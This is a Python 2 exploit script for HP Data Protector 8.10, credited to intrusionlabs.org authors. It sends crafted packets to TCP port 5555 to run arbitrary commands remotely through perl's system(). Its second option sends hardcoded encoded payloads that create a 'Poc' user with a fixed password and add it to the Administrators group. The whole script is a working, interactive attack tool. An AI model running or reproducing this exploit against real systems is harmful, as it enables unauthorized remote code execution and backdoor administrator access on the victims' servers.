1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 |
#!/usr/bin/python # Exploit Title: HP-Data-Protector-8.10 Remote command execution. # Date: July 11 2014 # Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org # Exploit Author: Henoch (Chanoc) Barrera https://intrusionlabs.org # Contacts: polunchis@intrusionlabs.org and chanoc@intrusionlabs.org # Version: HP Data Protector manager 8.10 the last version # Vendor web page: http://www8.hp.com/mx/es/software-solutions/software.html?compURI=1175640#.U8DhWaU_BjF # Tested on: Windows 2003, Windows 2008 and Windows 2012 all languages # Thanks:To GOD for giving us wisdom # Description: # A remote command execution is triggered when craft command is sent to the Hp Data Protector Manager to tcp port 5555. import socket import struct import sys #net user Poc l@bs.og /add shellusr = ("\x00\x00\x01\x3c\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00" "\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00" "\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00" "\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00" "\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00" "\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" "\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00" "\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00" "\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" "\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00" "\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00" "\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" "\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00" "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00" "\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00" "\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00" "\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00" "\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x50\x00\x6f\x00" "\x63\x00\x20\x00\x6c\x00\x40\x00\x62\x00\x73\x00\x2e\x00\x6f\x00" "\x67\x00\x20\x00\x2f\x00\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00") #net user local group Administrators Poc /add shellgrp = ("\x00\x00\x01\x56\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00" "\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00" "\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00" "\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00" "\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00" "\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" "\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00" "\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00" "\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" "\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00" "\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00" "\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00" "\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00" "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00" "\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00" "\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00" "\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00" "\x20\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x67\x00\x72\x00" "\x6f\x00\x75\x00\x70\x00\x20\x00\x41\x00\x64\x00\x6d\x00\x69\x00" "\x6e\x00\x69\x00\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00" "\x72\x00\x73\x00\x20\x00\x50\x00\x6f\x00\x63\x00\x20\x00\x2f\x00" "\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00") def connect_target(target, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error as err: print "[-]Close Socket! CODE: %d MSG: %s" % (err[0], err[1]) return -1 try: sock.connect((target, port)) except socket.error as err: print "[-] It cannot connect to the target! CODE: %d MSG: %s" % (err[0], err[1]) return -1 return sock def send_recv_packet(sock, packet): sock.sendall(packet) res = sock.recv(4096) return res print """ [*] https://intrusionlabs.org """ print "[*] Choose a valid option" print """ [1] Run remote commands [2] Add Poc user to Administrators group with password l@bs.og """ opcion= raw_input("Choose an option i.e.1 or 2:") if opcion.isdigit(): opcion = int(opcion) if opcion == 1: ip_remota= raw_input("IP Address: ") port= raw_input("Port: ") command= raw_input("command: ") if port.isdigit(): port = int(port) else: print "Please provide a tcp port" objetivo = connect_target(ip_remota, port) if objetivo == -1: exit() OFFSET = 46 command = command.replace("\\", "\\\\") command_tmno = chr(OFFSET + len(command)) shell = "\x00\x00\x00" +\ command_tmno +\ "\x32\x00\x01" +\ "\x01\x01\x01" +\ "\x01\x01\x00" +\ "\x01\x00\x01" +\ "\x00\x01\x00" +\ "\x01\x01\x00" +\ "\x2028\x00" +\ "\\\x70\x65\x72" +\ "\x6c\x2e\x65\x78" +\ "\x65\x00 \x2d\x65"+\ "\x73\x79\x73\x74\x65\x6d" +\ "('%s')\x00" % command print >> sys.stderr, "[+] Sending the payload with the command: '%s'" % command datos = send_recv_packet(objetivo, shell)# Parse the response back print >> sys.stderr, "[+] Output:" while True: # Get information about response tmno_respuesta = objetivo.recv(4) if not tmno_respuesta: break n = struct.unpack(">I", tmno_respuesta)[0] respuesta = objetivo.recv(n) respuesta = respuesta[5:].strip() respuesta = respuesta.replace("\n", "") respuesta = respuesta.replace("\x00", "") if respuesta.upper().find("*RETVAL*") != -1: break print respuesta objetivo.close() print >> sys.stderr, "print [!] Port close...\r" elif opcion == 2: ip_remota= raw_input("IP Address: ") port= raw_input("\nPort: ") if port.isdigit(): port = int(port) else: print "Please provide a tcp port" print "\n [*]Creating P0c user and try to add it to Administrators group" #Get information about response print "\n[*]Attempting to create Poc user and try to add it to Administrators group with password l@bs.og" for packet in [shellusr, shellgrp]: target = connect_target(ip_remota, port) if target == -1: exit() data = send_recv_packet(target, packet) print "[*]SERVER RESPONSE: " + \ data.split("\xFF\xFE\x31\x00\x35\x00\x00\x00\x20\x00")[1].lstrip("\x07\x00\x01\x00").rstrip("$") target.close() else: print "Please provide a valid option i.e. 1 or 2" |